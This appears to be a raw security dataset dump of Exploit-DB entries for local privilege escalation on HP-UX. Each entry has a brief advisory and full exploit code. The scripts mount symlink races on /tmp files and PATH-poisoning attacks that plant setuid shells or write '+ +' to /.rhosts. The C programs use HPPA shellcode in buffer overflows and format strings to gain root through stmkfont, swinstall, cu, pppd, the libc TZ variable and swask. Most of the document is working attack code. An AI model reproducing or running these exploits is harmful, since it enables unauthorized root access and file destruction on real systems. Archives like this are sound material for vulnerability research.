deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20329
Description: HP-UX 10.20/11.0 - crontab '/tmp' File
Type: local
Platform: hp-ux
Date: 2000-10-20
Author: Kyong-won Cho

Exploit:
source: https://www.securityfocus.com/bid/1845/info

crontab is a binary in the cron package of the HP-UX cron implementation which allows a user to create a file of scheduled commands. A vulnerabiltiy in crontab exists that allows a user to read any file on an HP-UX system. crontab as implemented with HP-UX is a access controlled binary. Users are permitted to run crontab only if they have an access entry in the crontab.allow file.

To create a crontab, a user must execute the command "crontab -e." Executing this command launches the vi editor, creates a file in the /tmp directory with the ownership delegated to the user running the command. While the file exists in /tmp, the owner of the file may spawn a shell from vi and create a symbolic link to any file on the system. After exiting the spawned shell, then quitting vi, an error message will return the contents of the previously symbolically linked file to the standard output of the user.


#!/bin/sh
#
#  HP-UX 11.00 crontab
#
#  Kyong-won,Cho
#
#             dubhe@hackerslab.com
#
#  Usage : ./crontab.sh <distfile>
#
#

if [ -z "$1" ]
then

echo "Usage : $0 <distfile>"
exit

fi

cat << _EOF_ > /tmp/crontab_exp
#!/bin/sh

ln -sf $1 \$1

_EOF_

chmod 755 /tmp/crontab_exp

EDITOR=/tmp/crontab_exp
export EDITOR

crontab -e 2> /tmp/crontab$$

grep -v "error on previous line" /tmp/crontab$$

rm -f /tmp/crontab_exp /tmp/crontab$$
Exploit-DB #19990
Description: HP-UX 10.20/11.0 - man '/tmp' Symlink
Type: local
Platform: hp-ux
Date: 2000-06-02
Author: Jason Axley

Exploit:
source: https://www.securityfocus.com/bid/1302/info

The programmers of the 'man' command on various HPUX releases have made several fatal mistakes that allow an attacker to trivially set a trap that could result in any arbitrary file being overwritten on the system when root runs the 'man' command.

Details:

1) man creates temporary files with predictable filenames in world-writeable directories. The two files are named catXXXX and manXXXX where XXXX is the PID of the man process (highly predictable).

2) man blindly follows symlinks.

3) man explicitly opens the temp files with mode 666 and ignores the existing umask. I verified that this doesn't change the mode of existing files to 666, but it allows for attackers to edit the tempfiles and potentially insert harmful man commands (like recent Bugtraq discussions about malicious manpages).

4) man opens the tempfiles with O_TRUNC. This means that when a file is symlinked to, that file is blindly truncated. This could lead to easy denial-of-service if you want to trash the password file or a hard disk device file. This could also have bad effects on sane man program operation, regardless of security, if a user runs man and leaves it running, then PIDs are wrapped around and someone of higher privilege runs man and overwrites your tempfiles!

Create ~65535 catXXXX or manXXXX symlinks in /tmp, pointing to the file you want to overwrite (e.g. /etc/passwd). Then wait. When root runs man, the file will be blindly overwritten with the formatted manpage contents (cat????) or unformatted (man????) are written to the symlinked file.
Exploit-DB #22248
Description: HP-UX 10.x - rs.F3000 Unauthorized Access
Type: local
Platform: hp-ux
Date: 2003-02-12
Author: Last Stage of Delirium

Exploit:
source: https://www.securityfocus.com/bid/6837/info

The rs.F3000 binary is prone to an issue that may allow attackers to obtain unauthorized access to a vulnerable system. A denial of service attack is also possible. This is due to multiple instances of the system() function being used in an unsafe manner.

#!/bin/sh
## copyright LAST STAGE OF DELIRIUM may 2002 poland            *://lsd-pl.net/ #
## /usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000                              #

echo "copyright LAST STAGE OF DELIRIUM may 2002 poland  //lsd-pl.net/"
echo "/usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000 for HP-UX 10.20 700/800"

cat > /tmp/rm << 'EOF'
    /usr/bin/cp /bin/sh /tmp/sh
    /usr/bin/chown daemon /tmp/sh
    /usr/bin/chmod 4755 /tmp/sh
EOF
chmod 755 /tmp/rm

PATH=/tmp:$PATH
export PATH
/usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000
sleep 3
sh
Exploit-DB #22246
Description: HP-UX 10.x - stmkfont Alternate Typeface Library Buffer Overflow (1)
Type: local
Platform: hp-ux
Date: 2003-02-12
Author: Last Stage of Delirium

Exploit:
// source: https://www.securityfocus.com/bid/6836/info

A buffer overflow vulnerability has been reported in the stmkfont utility shipped with HP-UX systems. The problem occurs due to insufficient bounds checking on user-suplied data to the alternate typeface library command-line option.

A local attacker may be able to exploit this issue to execute arbitrary code with elevated privileges.

All Avaya PDS 9 and 11 platforms are vulnerable to this issue. Avaya PDS 12 platforms running on HP-UX 11.00 are vulnerable as well. PDS 12 versions running on HP-UX 11.11 are not vulnerable. 

/*## copyright LAST STAGE OF DELIRIUM jun 2002 poland        *://lsd-pl.net/ #*/
/*## /usr/bin/stmkfont                                                       #*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define ADRNUM 1200
#define NOPNUM 12000 
#define PADNUM 3

char shellcode[]=
    "\xeb\x5f\x1f\xfd"    /* bl     .+8,%r26               */
    "\x0b\x39\x02\x99"    /* xor    %r25,%r25,%r25         */
    "\xb7\x5a\x40\x22"    /* addi,< 0x11,%r26,%r26         */
    "\x0f\x40\x12\x0e"    /* stbs   %r0,7(%r26)            */
    "\x20\x20\x08\x01"    /* ldil   L%0xc0000004,%r1       */
    "\xe4\x20\xe0\x08"    /* ble    R%0xc0000004(%sr7,%r1) */
    "\xb4\x16\x70\x16"    /* addi,> 0xb,%r0,%r22           */
    "/bin/sh"
;

char jump[]=
    "\xe0\x40\x00\x00"    /* be     0x0(%sr0,%rp)          */
    "\x37\xdc\x00\x00"    /* copy   %sp,%ret0              */
;

char nop[]="\x0a\xb5\x02\x95";

int main(int argc,char **argv){
    char buffer[20000],adr[4],*b,*envp[2];  
    int i; 

    printf("copyright LAST STAGE OF DELIRIUM jun 2002 poland  //lsd-pl.net/\n");
    printf("/usr/bin/stmkfont for HP-UX 10.20 700/800\n");    

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()-16732;
    printf("0x%x\n",*((unsigned long*)adr));

    envp[0]=&buffer[2000];
    envp[1]=0;

    b=buffer;
    for(i=0;i<PADNUM;i++) *b++=0x61;
    for(i=0;i<ADRNUM;i++)  *b++=adr[i%4];
    *b=0;

    b=&buffer[2000];
    strcpy(b,"lsd=");b+=4;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    execle("/usr/bin/stmkfont","lsd",buffer,0,envp);
}
Exploit-DB #22247
Description: HP-UX 10.x - stmkfont Alternate Typeface Library Buffer Overflow (2)
Type: local
Platform: hp-ux
Date: 2003-02-20
Author: watercloud

Exploit:
source: https://www.securityfocus.com/bid/6836/info
 
A buffer overflow vulnerability has been reported in the stmkfont utility shipped with HP-UX systems. The problem occurs due to insufficient bounds checking on user-suplied data to the alternate typeface library command-line option.
 
A local attacker may be able to exploit this issue to execute arbitrary code with elevated privileges.
 
All Avaya PDS 9 and 11 platforms are vulnerable to this issue. Avaya PDS 12 platforms running on HP-UX 11.00 are vulnerable as well. PDS 12 versions running on HP-UX 11.11 are not vulnerable.

#!/bin/sh
#   File : ex_stmkfont.sh
#   Exploit for command stmkfont of HPUX to get bin gid BUFF.
# * Usage: chmod +x ex_stmkfont.sh ; ./ex_stmkfont.sh
#   Write by watercloud@xfocus.org       2003-2-20
#   Site : www.xfocus.org   www.xfocus.net
NOP_LEN=65
ADDR_LEN=5000
BUFF="";i=0
while [ $i -ne $NOP_LEN ] ; do
  BUFF=$BUFF'\0013\0071\0002\0231'  ; i=$(($i+1))
done
BUFF=$BUFF'\0013\0071\0002\0127\0052\0344\0227\0020\0050\0073\0160\0357\0010\0067\0002\0103'
BUFF=$BUFF'\0266\0372\0100\0004\0266\0371\0100\0004\0266\0370\0100\0004\0344\0140\0340\0010'
BUFF=$BUFF'\0266\0366\0100\0376\0013\0071\0002\0231\0053\0044\0227\0020\0050\0073\0160\0357'
BUFF=$BUFF'\0353\0137\0037\0375\0013\0071\0002\0231\0267\0132\0100\0042\0017\0100\0022\0016'
BUFF=$BUFF'\0010\0071\0002\0103\0344\0140\0340\0010\0264\0026\0160\0026/bin/shX'
i=0;
while [ $i -ne $ADDR_LEN ] ; do
  BUFF=$BUFF'\0177\0177\0001\0020'; i=$(($i+1))
done
STR=`/bin/echo "${BUFF}"`

/usr/bin/stmkfont -d1 x -d2 $STR x
#EOF
Exploit-DB #20396
Description: HP-UX 10.x/11.x - Aserver PATH
Type: local
Platform: hp-ux
Date: 1998-10-18
Author: Loneguard

Exploit:
# source: https://www.securityfocus.com/bid/1929/info
#
# Aserver is a server program that ships with HP-UX versions 10.x and above that is used to interface client applications with the audio hardware. Because it talks to hardware, it is installed setuid root by default. 
#
# During normal execution, Aserver executes "ps" via the system() libcall, relying on the PATH environment variable to do so. As a result, a user can modify their PATH environment variable so that it includes an arbitrary program called 'ps' before executing Aserver. When Aserver is run with the -f argument, the offending system() function will be called and the attacker's version of ps will be executed as root. 
# 
# This is a trivial root compromise.
#

#!/bin/sh
#
# HP-UX aserver.sh - Loneguard 18/10/98
# Simple no brainer path poison followed by a twist [ inspired by DC ;) ]
#
cd /var/tmp
cat < _EOF > ps
#!/bin/sh
cp /bin/csh /var/tmp/.foosh
chmod 4755 /var/tmp/.foosh
_EOF
chmod 755 ps
PATH=.:$PATH
/opt/audio/bin/Aserver -f
if [ -e /var/tmp/.foosh ]
        # Hmmm, you not like that technique?
        cd /tmp
        rm last_uuid
        ln -s /.rhosts last_uuid
        /opt/audio/bin/Aserver -f
        echo "+ +" > /.rhosts
        # Haha, my Kungfu is the best!
fi
echo Crazy MONKEY!
Exploit-DB #23343
Description: HP-UX 11 - Software Distributor Lang Environment Variable Local Buffer Overrun
Type: local
Platform: hp-ux
Date: 2002-12-11
Author: watercloud

Exploit:
// source: https://www.securityfocus.com/bid/8986/info

HP has reported that some Software Distributor (SD) utilities are prone to a locally exploitable buffer-overrun vulnerability. Affected utilities include swinstall(1M) and swverify(1M). 

/*
  Program : x_hpux_11i_sw.c
  Use     : HP-UX 11.11/11.0 exploit swxxx to get local root shell.
  Complie : cc x_hpux_11i_sw.c -o x_sw ;./x_sw  ( not use gcc for some system)
  Usage   : ./x_sw [ off ]
  Tested  : HP-UX B11.11 & HP-UX B11.0
  Author  : watercloud [@] xfocus.org
  Date    : 2002-12-11
  Note    : Use as your own risk !!
*/
#include<stdio.h>
#define T_LEN  2124
#define BUFF_LEN 1688
#define NOP 0x0b390280
char shellcode[]=
  "\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08" 
  "\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
  "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
  "/bin/shA";

long addr;
char buffer_env[2496];
char buffer[T_LEN];

void main(argc,argv)
int argc;
char ** argv;
{
    int addr_off = 8208 ;
    long addr_e = 0;
    int  n=BUFF_LEN/4,i=0;
    long * ap = (long *) &buffer[BUFF_LEN];
    char * sp = &buffer[BUFF_LEN-strlen(shellcode)];
    long * np = (long *) buffer;
    if(argc >0)

    	addr_off += atoi(argv[1]);
    addr = ( (long) &addr_off +addr_off) /4 * 4  +4;
    for(i=0;i<n;np[i++]=NOP);
    memcpy(sp,shellcode,strlen(shellcode));
    for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr);
    buffer[T_LEN -2 ] += 1; buffer[T_LEN - 1 ] = '\0';
    sprintf(buffer_env,"LANG=AAA%s",buffer);
    putenv(buffer_env);
    execl("/usr/sbin/swinstall","swinstall","/tmp/null",NULL);
	/* if  false ,test swverify. */
    execl("/usr/sbin/swverify","swverify",NULL);
}
Exploit-DB #245
Description: HP-UX 11.0 - '/bin/cu' Local Privilege Escalation
Type: local
Platform: hp-ux
Date: 2001-01-13
Author: zorgon

Exploit:
/*
 * Copyright (c) 2001 Zorgon                              
 * All Rights Reserved                                    
 * The copyright notice above does not evidence any       
 * actual or intended publication of such source code.    
 * 
 * HP-UX /bin/cu exploit.
 * Tested on HP-UX 11.00 
 * zorgon@antionline.org (http://www.nightbird.free.fr) 
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define LEN 9778 
#define HPPA_NOP 0x0b390280
#define RET 0x7f7eb010
#define OFFSET 1200    /* it works for me */

u_char hppa_shellcode[] = /* K2 <ktwo@ktwo.ca> shellcode */
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";

int 
main(int argc , char **argv){
  char buffer[LEN+8];
  int i;
  long retaddr = RET;
  int offset = OFFSET;
 
  if(argc>1) offset = atoi(argv[1]);
    for (i=0;i<LEN;i+=4)
      *(long *)&buffer[i] = retaddr + offset; 

  for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++) 
    *(buffer+i) = HPPA_NOP;

  memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode));
  fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n");
  fprintf(stderr, "Copyright (c) 2001 Zorgon\n");                              
  fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, strlen(buffer));

  execl("/bin/cu","cu","-l",buffer,0);
}


// milw0rm.com [2001-01-13]
Exploit-DB #199
Description: HP-UX 11.0 - 'pppd' Local Stack Buffer Overflow
Type: local
Platform: hp-ux
Date: 2000-11-20
Author: K2

Exploit:
/*      Copyright (c) 2000 ADM                                  */
/*      All Rights Reserved                                     */
/*      THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM      */
/*      The copyright notice above does not evidence any        */
/*      actual or intended publication of such source code.     */
/*                                                              */
/*      Title:        HP-UX pppd                                */
/*      Tested under: HP-UX 11.0                                */
/*      By:           K2                                        */
/*      Use:          gcc -o pppd hp-pppd.c ; ./pppd            */
/*                    (more hp to come :)                       */
/*                                                              */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 22000
#define STACK_OFFSET 8042
#define EXTRA 3000
#define HPPA_NOP 0x3902800b /* weirdo nop */

u_char hppa_shellcode[] =
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff\xff";

u_long get_sp(void)
{
   __asm__("copy %sp,%ret0 \n");
}

int main(int argc, char *argv[])
{
   char buf[BUF_LENGTH + 8];
   unsigned long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(hppa_shellcode),dso=STACK_OFFSET,xtra=EXTRA;

   if(argc > 1) dso+=atoi(argv[1]);
   if(argc > 2) xtra+=atoi(argv[2]);

   long_p = (u_long *) buf;

   for (i = 0; i < (BUF_LENGTH - code_length - xtra) / sizeof(u_long); i++)
     *long_p++ = HPPA_NOP;

   char_p = (u_char *) long_p;

   char_p--;  /* weirdness alighnment issue */

   for (i = 0; i < code_length; i++)
     *char_p++ = hppa_shellcode[i];

   targ_addr = get_sp() - dso;

   for (i = 0; i < xtra /4; i++)
   {
      *char_p++ =(targ_addr>>24)&255;
      *char_p++ =(targ_addr>>16)&255;
      *char_p++ =(targ_addr>>8)&255;
      *char_p++ =(targ_addr)&255;
   }
  
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",targ_addr,strlen(buf),xtra,dso);

   execl("/usr/bin/pppd","pppd", buf,(char *) 0);
   perror("execl failed");
   return(-1);
}


// milw0rm.com [2000-11-20]
Exploit-DB #20162
Description: HP-UX 11.0 - net.init RC Script
Type: local
Platform: hp-ux
Date: 2000-08-22
Author: Kyong-won Cho

Exploit:
source: https://www.securityfocus.com/bid/1602/info

A vulnerability exists in HP-UX, from Hewlett Packard, under certain configurations. Version 11.0 is confirmed to have this problem; other versions may also be susceptible. If the CLEAR_TMP option in /etc/rc.config.d is set to 1, meaning enabled, it is possible for a local user to create a symbolic link in /tmp that will be followed prior to being removed. This will allow the local user to overwrite any file upon reboot.

The /sbin/rc2.d/S008net.init file, and /sbin/rc2.d/S204clean_tmps file are run upon reboot. The net.init is run first. (Lower number S scripts are run first). In the net.init file, a temporary file, /tmp/stcp.conf, is use. This file is blindly written to, and is removed by the clean_tmps script. A local user can simply create this file as a symbolic link to any file, and cause the net.init script to overwrite its contents upon reboot.

ln -sf /VULNERABLE /tmp/stcp.conf
and reboot.
Exploit-DB #482
Description: HP-UX 11.0/11.11 - 'swxxx' Privilege Escalation
Type: local
Platform: hp-ux
Date: 2002-12-11
Author: watercloud

Exploit:
/*
 Program : x_hpux_11i_sw.c
 Use     : HP-UX 11.11/11.0 exploit swxxx to get local root shell.
 Complie : cc x_hpux_11i_sw.c -o x_sw;./x_sw  ( not use gcc for some system)
 Usage   : ./x_sw [ off ]
 Tested  : HP-UX B11.11 & HP-UX B11.0
 Author  : watercloud [@] xfocus.org
 Date    : 2002-12-11
 Note    : Use as your own risk !!
*/
#include<stdio.h>
#define T_LEN  2124
#define BUFF_LEN 1688
#define NOP 0x0b390280
char shellcode[]=
 "\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08" 
 "\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
 "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
 "/bin/shA";

long addr;
char buffer_env[2496];
char buffer[T_LEN];

void main(argc,argv)
int argc;
char ** argv;
{
   int addr_off = 8208;
   long addr_e = 0;
   int  n=BUFF_LEN/4,i=0;
   long * ap = (long *) &buffer[BUFF_LEN];
   char * sp = &buffer[BUFF_LEN-strlen(shellcode)];
   long * np = (long *) buffer;
   if(argc >0)
       addr_off += atoi(argv[1]);
   addr = ( (long) &addr_off +addr_off) /4 * 4  +4;
   for(i=0;i<n;np[i++]=NOP);
   memcpy(sp,shellcode,strlen(shellcode));
   for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr);
   buffer[T_LEN -2 ] += 1; buffer[T_LEN - 1 ] = '\0';
   sprintf(buffer_env,"LANG=AAA%s",buffer);
   putenv(buffer_env);
   execl("/usr/sbin/swinstall","swinstall","/tmp/null",NULL);
    /* if  false ,test swverify. */
   execl("/usr/sbin/swverify","swverify",NULL);
}

// milw0rm.com [2002-12-11]
Exploit-DB #2636
Description: HP-UX 11i - 'LIBC TZ' Enviroment Variable Privilege Escalation
Type: local
Platform: hp-ux
Date: 2006-10-24
Author: prdelka

Exploit:
/* HP-UX libc timezone environment overflow exploit
 * ================================================
 * HP-UX libc contains an exploitable stack overflow
 * in the handling of "TZ" environment variable. The
 * problem occurs due to insufficient bounds checking
 * in the localtime_r() and related functions. Any suid
 * or sgid program which uses the timezone functions can
 * be used as an attack vector. This exploit uses "su" 
 * to obtain root priviledges.  
 *
 * Example. 
 * $ cc prdelka-vs-HPUX-libc.c -o prdelka-vs-HPUX-libc
 * /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file 
 * (prdelka-vs-HPUX-libc.o) was detected. The linked output may not run 
 * on a PA 1.x system.
 * $ uname -a
 * HP-UX hpux B.11.11 U 9000/[PII_REDACTED]315 unlimited-user license
 * $ id
 * uid=102(user) gid=20(users)
 * $ ./prdelka-vs-HPUX-libc
 * [ HP-UX libc timezone environment overflow
 * Password:
 * # id
 * uid=102(user) gid=20(users) euid=0(root)
 *
 * - prdelka
 */

char shellcode[]="\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
		 "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
		 "\xb4\x16\x70\x16""/bin/sh";

int main(){
        char *a, adr[4],ptr1[4],ptr2[4],*b,*envp[3];
        int i;
        *(unsigned long*)adr=0x10eC7f7F;
        *(unsigned long*)ptr1=0x059c7f7f;
        *(unsigned long*)ptr2=0x7f7f059c;
        b=(char*)malloc(126);
        memset(b,0,126);
        a=b;
        sprintf(b,"PATH=");
        b+=5;
        for(i=0;i<120;i++) *b++=ptr1[i%4];
        envp[0]=a;
        b=(char*)malloc(809);
        memset(b,0,809);
        a=b;
        sprintf(b,"MANPATH=");
        b+=8;
        for(i=0;i<800;i++) *b++=ptr1[i%4];
        envp[1]=a;
        b=(char*)malloc(3429);
        memset(b,0,3427);
        a=b;
        sprintf(b,"TZ=");
        b+=3;
        for(i=0;i<2384;i++) *b++=ptr1[i%4];
        for(i=0;i<4;i++) *b++=ptr2[i%4];
        for(i=0;i<1002;i++) *b++=adr[i%4];
        for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
        envp[2]=a;
        envp[3]=0;
	printf("[ HP-UX libc timezone environment overflow\n");
        execle("/usr/bin/su","pdk",0,envp);
}

// milw0rm.com [2006-10-24]
Exploit-DB #2635
Description: HP-UX 11i - 'swask' Format String Privilege Escalation
Type: local
Platform: hp-ux
Date: 2006-10-24
Author: prdelka

Exploit:
/* HP-UX swask format string local root exploit
 * ============================================
 * HP-UX 'swask' contains an exploitable format string 
 * vulnerability. The 'swask' utility is installed setuid
 * root by default. Specifically the vulnerability is in
 * the handling of the "-s" optional arguement which is
 * passed to a format function as verbatim.  
 *
 * Example.
 * $ uname -a
 * HP-UX hpux B.11.11 U 9000/[PII_REDACTED]315 unlimited-user license
 * $ id
 * uid=102(user) gid=20(users)
 * $ ./prdelka-vs-HPUX-swask
 * [ HP-UX 11i 'swask' local root exploit
 * =======  01/20/06 10:19:49 EST  BEGIN swask SESSION (non-interactive)
 * <SNIP>
 * 
 * =======  01/20/06 10:19:50 EST  END swask SESSION (non-interactive)
 * 
 * $ id
 * uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
 * $
 *
 * - prdelka
 */

char shellcode[]=
		 "\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
		 "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
		 "\xb4\x16\x70\x16""/bin/sh";

int main(){
        char *d, *c, *b,*a,*envp;
        int i,pid;
	printf("[ HP-UX 11i 'swask' local root exploit\n");
	switch(pid = fork()){
		case -1:
			perror("fork");
		case 0:
	        	a=(char*)malloc(2048);
        		memset(a,0,2048); 
        		sprintf(a,"AAAAA%c%c%c%c",0x7a,0xec,0x44,0x38); 
        		for(i=0;i<103;i++) strcat(a,"%p");
			envp=0;
			execle("/usr/sbin/swask","swask","-s",a,0,envp);
			break;
		default:
			sleep(1);
			b=(char*)malloc(2048);
        		memset(b,0,2048);
        		for(i=0;i<102;i++) strcat(b,"%p");
			strcat(b,"%31799u%hn");
			a=(char*)malloc(2048);
			memset(a,0,2048);
			d=a;
			for(i=0;i<39;i++)strcat(a,"A");
			d+=39;
			for(i=0;i<strlen(shellcode);i++) *d++=shellcode[i];
			envp=0;
			execle("/usr/sbin/swask","swask","-s",a,"-s",b,0,envp);
	}
}

// milw0rm.com [2006-10-24]